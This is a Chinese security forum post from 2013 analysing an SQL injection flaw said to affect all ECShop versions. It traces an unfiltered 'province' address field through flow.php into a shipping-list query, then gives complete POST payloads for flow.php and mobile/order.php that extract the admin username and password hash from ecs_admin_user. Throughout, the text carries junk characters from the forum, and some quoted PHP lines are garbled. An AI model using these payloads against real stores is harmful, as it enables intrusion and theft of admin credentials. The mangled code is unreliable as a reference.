找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。: E: l' }1 w  F( H- A3 S* V
5 D- _9 [# l6 L% Z3 f3 F
    漏洞关键文件:
! @0 I5 y6 f; _
( t% ^  m% v9 Y/ Y  o2 U" B    /includes/lib_order.php
6 O/ R; N' j2 {/ I2 B$ R; `3 ^1 \  e" f+ `# W
    关键函数:: I. [7 z  t/ Y: ~/ X
) {; H3 y4 E9 A& P5 f0 z( _4 d
1 u& P+ q1 }$ {0 a

* y) L1 X9 R# L9 K4 {' m: F; p3 F01     function available_shipping_list($region_id_list)
6 U4 Q3 C- R: q- F
$ S8 i* v: [) `02 {
, D' u) c& Z5 v! X2 u1 u! T3 k% P2 l) o: T5 F
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
% B! Q. J1 E" u5 p: A+ Q! \3 k7 s; U2 n# s0 `
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
$ J! ]! ]! K0 t: h' o1 l! g5 K% l* D# f9 D4 O8 w3 L2 K+ d
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
2 o) |7 G2 O& ^7 m+ k! J( Y8 D, Q; [( A: o1 w! o3 n! g
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 9 |, e- R6 ?4 F% [* J9 ?2 J

3 g3 U  K, M/ Q1 f# u4 y07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 A+ d. W/ p5 O' e' h6 R: L! V- O: @! g  F: x# o0 b
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 1 F& G* V" m* @! V) }) Y

& ]1 I$ o) [9 U$ }% m/ l% |0 ]09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; + Y+ H+ j0 s5 s; ?6 d$ o8 a, o
' u8 s- S8 m, Z5 Z, T& Q
10   
( f3 u  x+ J% R% {# ?: X( j+ D0 Z; E& p8 q; j% l! B
11     return $GLOBALS['db']->getAll($sql); ! }- R/ u7 i4 }1 `5 }  I4 ]$ u
& ~, A- }6 K- o0 i: m
12 } 7 s" j: }) v. U1 B' \
& O# C3 ]+ r+ f( T. G
显然对传入的参数没有任何过滤就带入了查询语句。
9 _. F1 Q3 L* O6 z2 _ 9 N+ [2 f  t8 o  q, H& ^2 F9 M
下面我们追踪这个函数在flow.php中:: p. f% m/ g% |6 G+ h) j4 D
第531行:   
$ c( ?: {5 U7 q) a
& `# q0 ?6 r8 A8 M% u8 S  g1 $shipping_list     = available_shipping_list($region);
3 N: p; j, r" `) x; J! K- N- [; P7 b6 c( \
" X; X: n+ W5 D+ V! R& k

5 S5 _* w) ]) J # p7 P6 X2 l+ G8 h3 L3 {8 Q0 q$ e
0 X- T2 _0 p5 ^  x$ \1 J
再对传入变量进行追踪:
. y8 D. x6 O+ G% I: ]3 \( C% o) v
' x8 Z! k% ]3 U$ L6 d. _第530行:   
( @6 S  U1 Q) c7 S  h3 F4 P5 `3 r  j7 |1 q) b# X, v3 b  d  G5 I
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ; L$ q  v; J- @6 S; ^5 s3 y! G" X1 e

- @/ L, ]& t' s% p$ X5 Z' H
3 q) [8 l- y+ x: s! ~3 e9 b* o6 k9 m. l9 t9 O1 @/ ]
( q0 P3 W* Q$ h
8 w4 E2 A/ J) o$ ^
第473行:        % Q' `7 d4 k2 a7 |2 H

' f$ _  m3 x% E1 $consignee = get_consignee($_SESSION['user_id']); 7 O- r2 q0 X; Y- e
/ ?( M3 H7 w! y( M( M3 k2 x
到了一个关键函数:
/ t# \0 b+ ^. O: B% B8 n7 n* N# Q8 |% D
/includes/lib_order.php
  n6 K, C8 \0 a4 G  _2 L
, l5 i) [4 E# A) i 3 N! I3 B1 V+ n
& e% @; t1 \) }) F0 R9 D

1 z; _& l5 q  o& i: c$ p$ B; O2 Q
2 Q$ H2 Y+ Z% L& K01 function get_consignee($user_id)
0 v2 b2 c: Q- o6 Y; M' N& Y0 h# T
02 { 6 B. Z) a+ A+ @, i8 W; @
0 u: M) [% V: }* V* Z
03     if (isset($_SESSION['flow_consignee'])) 5 _+ E. M2 T/ l; t. S- q

! p) @1 t& n2 ]: H- P- x; {, O04     {
6 o& t; }" K/ N/ W" t
9 [0 ]2 x% E& v1 q1 t' E1 k05         /* 如果存在session,则直接返回session中的收货人信息 */ ' z( |( w8 \1 D/ `% m
1 x6 I! P8 z  h5 ]
06   + N  R5 c+ Q4 T6 X( j( p2 o+ J
" L% z1 _$ A& a/ c; L$ M  @
07         return $_SESSION['flow_consignee'];
0 ]! }5 t% v( c0 K/ y: n+ E/ a" B! B$ E$ G( h
08     }
; W5 Z, v" q3 n0 n/ S4 [; F4 R% y' N
1 x% u% c5 I$ a0 G. y3 _6 `09     else , O/ I/ k- T# I8 z
( M$ p& ^" L% d/ |! w$ Y
10     {
8 v( A+ Y4 j7 D0 _1 a8 x! X5 L6 j, {3 \7 K% Y. d$ n
11         /* 如果不存在,则取得用户的默认收货人信息 */
) |: H2 N( r. P: y# w% v8 {
: O) ~2 \. z! C: M: N3 A12         $arr = array(); 2 b0 W+ ?: l+ G+ M/ r- P1 Y

# C* T/ G* ^' G, u, Y8 E13   ; o2 x5 [0 I, D, G0 j# x; E  f: ?

8 K0 ]8 v0 n' Y! X14         if ($user_id > 0) 8 A3 d) [8 G6 A. l4 K

+ W. S$ ^& ^4 e15         {
* m( u# F4 `7 z* T( G( Q0 R3 r# `( U+ J+ S( G
16             /* 取默认地址 */ 2 V. J9 L8 t0 a- z, ^

; P/ b8 V9 `& ]- ]" p" N8 G17             $sql = "SELECT ua.*".
( P& U$ e1 ]) ~( E
, e2 I9 F6 D- r4 w18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
0 O0 @# s- C7 h! R/ j- a5 e
2 s/ M  h2 X5 T2 I9 t  P9 U1 z19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; , e3 z5 @/ u# f, p& {
/ E' W% `* B/ J  _1 A! k/ p6 P
20   
* v: `- R9 f1 J  G
3 a) p4 ~4 u/ `) u3 p21             $arr = $GLOBALS['db']->getRow($sql); 8 d1 h! w& `. H7 S6 [  N4 k. N

5 H' `. W5 |0 N% {: K6 d/ a22         }
8 B% i/ N5 I6 S- m8 T- W6 m
. R+ E+ ?! N3 A+ |. h* c6 @23   0 l& ]+ C! r' O/ c

  y/ w: D0 q! N+ l; n2 e) }& @  R24         return $arr;
7 {) C$ f( W4 s2 J/ n! c: J
" n3 b5 t5 _5 D0 s4 `7 {25     }
1 ]( |+ X: y4 {8 D! w! @/ i' f9 X2 t) x$ n( w, \
26 } - \' t4 a( M3 s; u

3 Q; {) P1 F" G0 g. r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?1 R, G. s& A& c: u# N' T
+ O* U2 O& d. o; `, G

$ Q5 o. H/ Z6 M' ~# r$ Q# }4 z* }& f, H* t: u* b
关键点:* c( q+ V3 Z( ]

1 v' D9 A. \1 E第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, a2 N9 e* v! r0 v
5 L+ ^+ r4 I+ }: v这里对传入参数反转义存入$_SESSION中。
8 W* @2 s" K; a0 V! L( f  v6 h  x6 y* b# p& Q: s/ I' \

, J. ^/ v0 P, a4 H( o1 l# n, p
, D+ c: d1 O% Y然后看下:2 f' A% i" i7 i5 o2 ?- \8 |1 n8 S
1 w+ [$ U% Y5 I5 z! M- V$ i. r7 r
; e" {9 U0 x# b

; ~0 R6 [4 w) c+ x0 B* `' U; m    . l" ~2 z+ J: ]. ^; Z

) a( ~6 F0 x- X4 l01 $consignee = array( . b. Y8 m5 {' p+ d( g5 D8 p, v; d

4 u$ O2 R# C/ k02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 4 G* d& M  C* m2 z
. G1 V1 Z) l5 I- B. y. o
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
% K1 N# ?+ _  Y- u. U$ s6 a7 {# e( ^
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- _/ k. W0 y7 M* H; H: X  U
4 r# ?1 ^& s  P( |( ^1 [/ I2 A! O0 Z05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
' _, g% [* d# P% b5 T% C+ s1 I* c' Z, \. P0 l
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 9 p& ~; I) @" x: C
; R: |2 [* j  S* v) Z4 Z5 o# ]
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 4 G3 Y2 s6 d3 `4 s1 b
$ X8 f2 j0 K9 b5 [7 s+ v. y9 N6 g
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
6 }' t  ~- i2 {1 `' q. I2 {# q  @! p
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], # c6 o& W" Z. i) s; U- Z

, @- o- O5 n4 Z. M( t10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
2 }. X. n/ f& Z9 h, O6 |
( V/ o2 Q( U1 d+ s3 w11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
+ P+ h5 m  j- v4 p$ \  C) z3 O  [. ]) P2 F" F
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
% D5 Y, _) ~: c2 K1 ~3 u1 Y* z$ F0 u
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
* c3 P( d, r2 b7 `4 W- l5 I
6 v2 v' j( n% a. V' A14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: Q4 U) K) n7 {. K) }/ ^
7 r' ?2 v, z9 @3 h, g' t  J) N15     );
. _1 L. e, W. P5 S% y$ F( ^+ ]  Z' B! |' ~" i% I, a
好了注入就这样出现了。; m/ Y, r9 v( }4 ~: T% n
2 [+ K  J- Q  c5 z9 a, E
==================
/ B% L/ b& x* T2 e6 ?# x
- D; Z& {' a  t4 G8 _+ F注入测试:
2 J2 J4 C- {; L! T; u# m" M( v2 X$ a. a4 t6 s+ o
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)1 M& }! h, `, L* g0 S* G7 \

# Q8 @5 i  z6 O测试程序:ECShop_V2.7.3_UTF8_release11063 Y) d& ^% ]7 \& x
! {' `' l7 V% h1 U0 K- K( F

2 R' P& s- m( _$ I5 e5 m9 F* _" l# `, R. h
1.首先需要点击一个商品加入购物车
5 f0 A2 v2 A' o/ ^) f
1 n9 W! d; F  e6 |8 U3 ]5 T2.注册一个会员帐号1 R( d: K, Y; c

9 |8 g5 H! ]* U. D  b( a/ A. d3.post提交数据! Q% s5 D8 w6 S

2 H6 T( u! X8 ^( _   j/ C* H" q; R+ C1 {

8 r6 {# F: b! @* V& A1 http://127.0.0.1/ecshop/flow.php 4 R4 l" X9 e7 g* @) X! B1 \% H+ Q
0 C9 t0 D0 {3 s/ W" c9 a' t( a
2   
3 l; v8 S' d3 {4 ?6 U+ U0 }/ P8 w" q, p& r
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 m; t5 J- i8 ~- j* R举一反三,我们根据这个漏洞我们可以继续深入挖掘:
6 n# O1 c; `7 @2 ^4 a( q4 J( a/ f2 d: y9 j/ H
我们搜寻关键函数function available_shipping_list()
4 R- O+ h$ K# d
3 Y! W, Z& x9 }" o9 m7 o在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
. U3 R" N7 i' ?* L
8 h' K! r' g6 ]* L9 ^) d3 u8 q利用exp:
) B0 b: c9 h7 B6 |8 n+ z8 `7 O7 @& Y7 \8 b+ e0 ]
1.点击一个商品,点击购买商标; k) C$ d4 H% g: L+ Y# W$ X
' V6 N! M7 [) O8 W7 w; `- u
2.登录会员帐号" z/ T' s, j$ x, q) [
$ w6 r- {2 h0 I
3.post提交:, k# w% B0 t; q9 Q0 {
3 N, P. I+ u. Z' y- e; R, ]4 k
http://127.0.0.1/ecshop/mobile/order.php0 V* }( J0 Q- a; c; W3 j; G
. R' X6 {5 ^1 |3 ^. {1 R, r

. p1 W; P, D6 e
& h+ g8 K- \/ \3 S  Ocountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=. K5 ]9 q% y3 u* N$ J! u1 t& I* i
5 X* M9 {, `1 }9 ?: r6 C; Q; T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表